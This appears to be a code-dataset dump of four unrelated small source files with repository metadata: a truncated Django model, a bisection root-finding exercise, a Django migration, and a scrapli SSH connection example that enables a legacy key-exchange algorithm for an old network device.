9dbee97a90b1873cab79747141be6f4ad71b34a2
7aa49fa8e4c0db28de5b1eb8190d1b3a11ccf47e
refs/heads/master
2020-06-24T14:34:32.979639
2019-07-31T14:17:36
2019-07-31T14:17:36
198,988,198
0
0
null
false
2020-09-12T06:25:29
2019-07-26T09:27:23
2019-07-31T14:17:52
2020-09-12T06:25:27
1,479
0
0
5
Vue
false
false
from django.db import models import datetime from django.utils import timezone from django.utils.translation import gettext as _ class Phone(models.Model): phone = models.CharField(max_length = 15) email = models.CharField(max_length = 50) fio = models.CharField(max_length = 50) date_created = models.D...
UTF-8
Python
false
false
1,008
py
14
models.py
11
0.65873
0.639881
0
23
42.826087
106
vaishnavi-rajagopal/Python_Code
3,023,656,989,602
b91aac36d30c31a5968d6a2c6db6cfa5eccd611d
5073e5b728206173cd9d0a9b842890628533be13
/Exercise/bisection_search.py
e6c857724c187d5007469a562b20c608e2a5f329
[]
no_license
https://github.com/vaishnavi-rajagopal/Python_Code
8ee6b8a38c08d83fb71c5ef52539ee9ce91819fc
dc9c9e486018d6e169eab2b96d73236197e298a4
refs/heads/master
2020-04-11T16:32:18.570687
2019-05-17T17:50:16
2019-05-17T17:50:16
161,927,630
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
epsilon=0.00001 num=input("enter a number: ") num=float(num) low=0.0 high=num x=0.0 while(high-low>=4*epsilon): x=(high+low)/2 if(x**4<num): low=x else: high=x print("square_root is",x) print("squareroot is",num**(1/4))
UTF-8
Python
false
false
229
py
31
bisection_search.py
22
0.646288
0.580786
0
17
12.529412
33
rpate136/RESA
10,986,526,360,546
32d59177c40fadf55ff5db85d63203d8e99d6e95
1c9cf15c0b873486a449924cb26d556e56bda921
/RecipeApp/RecipeExt/migrations/0007_auto_20210328_2153.py
8a0e2c299be69bafee4b3703a4ebf471a2ac655e
[]
no_license
https://github.com/rpate136/RESA
cda4ee705200f1882a84acbdd80bc2a7e49929d6
9f20e236e83ab0f5a3a9640a5ce6097012c3b932
refs/heads/master
2023-03-31T19:26:09.467493
2021-03-29T00:16:07
2021-03-29T00:16:07
354,066,965
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# Generated by Django 3.1.7 on 2021-03-28 21:53 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('RecipeExt', '0006_auto_20210328_2028'), ] operations = [ migrations.AlterField( model_name='ingredient', name='name'...
UTF-8
Python
false
false
390
py
16
0007_auto_20210328_2153.py
14
0.589744
0.505128
0
18
20.666667
50
GDGSNF/scrapli
18,528,488,946,849
81280207292322c8eb21d737626690e516247831
d67fa16b4680559e7f78f2568d827df0fdbaa25f
/examples/transport_options/system_ssh_args.py
efa1430934b4618e17dad0c1a363e28880eab538
[ "MIT" ]
permissive
https://github.com/GDGSNF/scrapli
c9f342d933f41b3469013aee51dfcecc2dd11281
e0170a56ce10c495ab424e81dd7ebca6450199ea
refs/heads/master
2023-08-21T04:26:33.541462
2021-10-11T23:35:36
2021-10-11T23:35:36
414,172,050
0
0
MIT
true
2021-10-11T23:35:36
2021-10-06T10:47:06
2021-10-11T22:08:11
2021-10-11T23:35:36
6,814
0
0
0
Python
false
false
"""examples.transport_options.system_ssh_args""" from scrapli.driver.core import IOSXEDriver MY_DEVICE = { "host": "172.18.0.11", "auth_username": "scrapli", "auth_password": "scrapli", "auth_strict_key": False, "transport_options": {"open_cmd": ["-o", "KexAlgorithms=+diffie-hellman-group1-sha1"]},...
UTF-8
Python
false
false
826
py
112
system_ssh_args.py
74
0.674334
0.662228
0
27
29.592593
95